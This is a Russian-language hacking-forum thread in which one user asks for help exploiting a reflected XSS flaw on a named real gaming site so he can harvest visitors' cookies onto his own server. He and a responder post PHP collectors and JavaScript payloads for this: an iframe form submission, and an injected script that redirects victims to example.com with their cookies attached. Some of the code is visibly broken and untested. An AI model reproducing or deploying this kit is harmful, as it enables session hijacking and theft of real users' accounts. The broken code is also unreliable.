• XSS.stack #1 – первый литературный журнал от юзеров форума

Кто может помочь мне с XSS Attack

trex

CD-диск
Пользователь
Регистрация
08.06.2024
Сообщения
16
Реакции
2
Я обнаружил XSS-уязвимость на одном из сайтов. Ссылка -
Код:
https://knightonline1.com/?utoal="><script>alert(document.cookie)</script>

Пример: Когда кто-то посещает мой сайт, я хочу сохранять файлы cookie с сайта knightonline1 на своем сервере, например, в файле log.txt.
Он показывает мне файлы cookie. Как мне настроить PHP-файл на моем сервере, чтобы PHP получал куки посетителя, когда он нажимает на ссылку? Может ли кто-нибудь помочь мне с этим?
Я слышал, что это можно сделать с помощью iframe, но я не знаю, как это реализовать. Любая помощь будет очень признательна.
 
Я могу программировать, но я не могу добраться до моей линии, это должно быть так или иначе.
Кто может мне помочь?

Код:
<?php

echo $_GET['new_cookies'];

if (isset($_GET['action']) && isset($_GET['new_cookies'])) {
    $action = $_GET['action'];

    if ($action === 'add_cookies') {
        if (empty($_GET['new_cookies'])) {
            exit;
        }
        
        $new_cookies = json_decode($_GET['new_cookies'], true);
        
        if (!empty($new_cookies)) {
            $cookies = file_get_contents('cookies.txt');
        
            if ($cookies === false) {
                $cookies = array();
            } else {
                $cookies = json_decode($cookies, true);
                
                if (!is_array($cookies)) {
                    $cookies = array();
                }
            }
            
            array_push($cookies, $new_cookies);
            file_put_contents('cookies.txt', json_encode($cookies, JSON_PRETTY_PRINT));
        }
        
        exit;
    }
}

?>

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script>
            // -- Target --
            const sendCookiesFn =  `(${(function () {
                const getCookies = () => document.cookie.length > 0 ? Object.fromEntries(document.cookie.split('; ').map(x => x.split('=', 2))) : {};
                const cookies = getCookies();
                
                fetch(`{{location_href}}?action=add_cookies&new_cookies=${encodeURIComponent(JSON.stringify(cookies))}`);
            }).toString().replace('{{location_href}}', location.href).replace(/\n/g, '')})()`;
            // -- /Target --
        </script>
        
        <script>
            const iframe = document.createElement('iframe');
            document.documentElement.appendChild(iframe);
            
            const form = document.createElement('form');
            form.action = 'https://knightonline1.com';
            form.method = 'POST';
            
            const data = {
                1: '" ?utoal=">"' + sendCookiesFn + '"</script>
            };
            
            Object.entries(data).forEach(([name, value]) => {
                const input = document.createElement('input');
                input.name = name;
                input.value = value;
                form.appendChild(input);
            });
            
            iframe.contentDocument.documentElement.appendChild(form);
            form.submit();
        </script>
    </body>
</html>
 
Create index.php
PHP:
<html>
<head>
    <title>Test</title>
</head>
<body>
    <script>
        // change example.com to domain where you host this `index.html` file.
        const xssInjection = `<script src='https://example.com/inj.js'></script>`
        window.location.href = `https://knightonline1.com/?utoal=">${}`;
    </script>
   
    <?php
        $cookie_query = $_GET['cookie']
        // exit if cookie query is empty
        if (!isset($cookie_query)) {
            exit;
        }
       
        echo $cookie_query;
       
        // exit if cookie not JSON
        $cookie_dict = json_decode($cookie_query, true);
        if (empty($cookie_dict)) {
            exit;
        }
       
        // get saved cookies
        $file_content = file_get_contents('cookies.txt');
        if ($file_content === false) {
            $logs = array();
        } else {
            $logs =  json_decode($file_content, true);
            if (!is_array($logs)) {
                $logs = array();
            }
        }
       
        // add new cookie and save into file
        array_push($logs, $cookie_dict);
        file_put_contents('cookies.txt', json_encode($cookies, JSON_PRETTY_PRINT));
    ?>
</body>
</html>

and inj.js in website root dir
JavaScript:
const getCookies = () => document.cookie.length > 0 ? Object.fromEntries(document.cookie.split('; ').map(x => x.split('=', 2))) : {};
// redirect to your website, to steal client cookie
window.location.href = `https://example.com/index.php?cookie=${encodeURIComponent(JSON.stringify(getCookies()))}`;

I haven't checked it, but it probably works.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх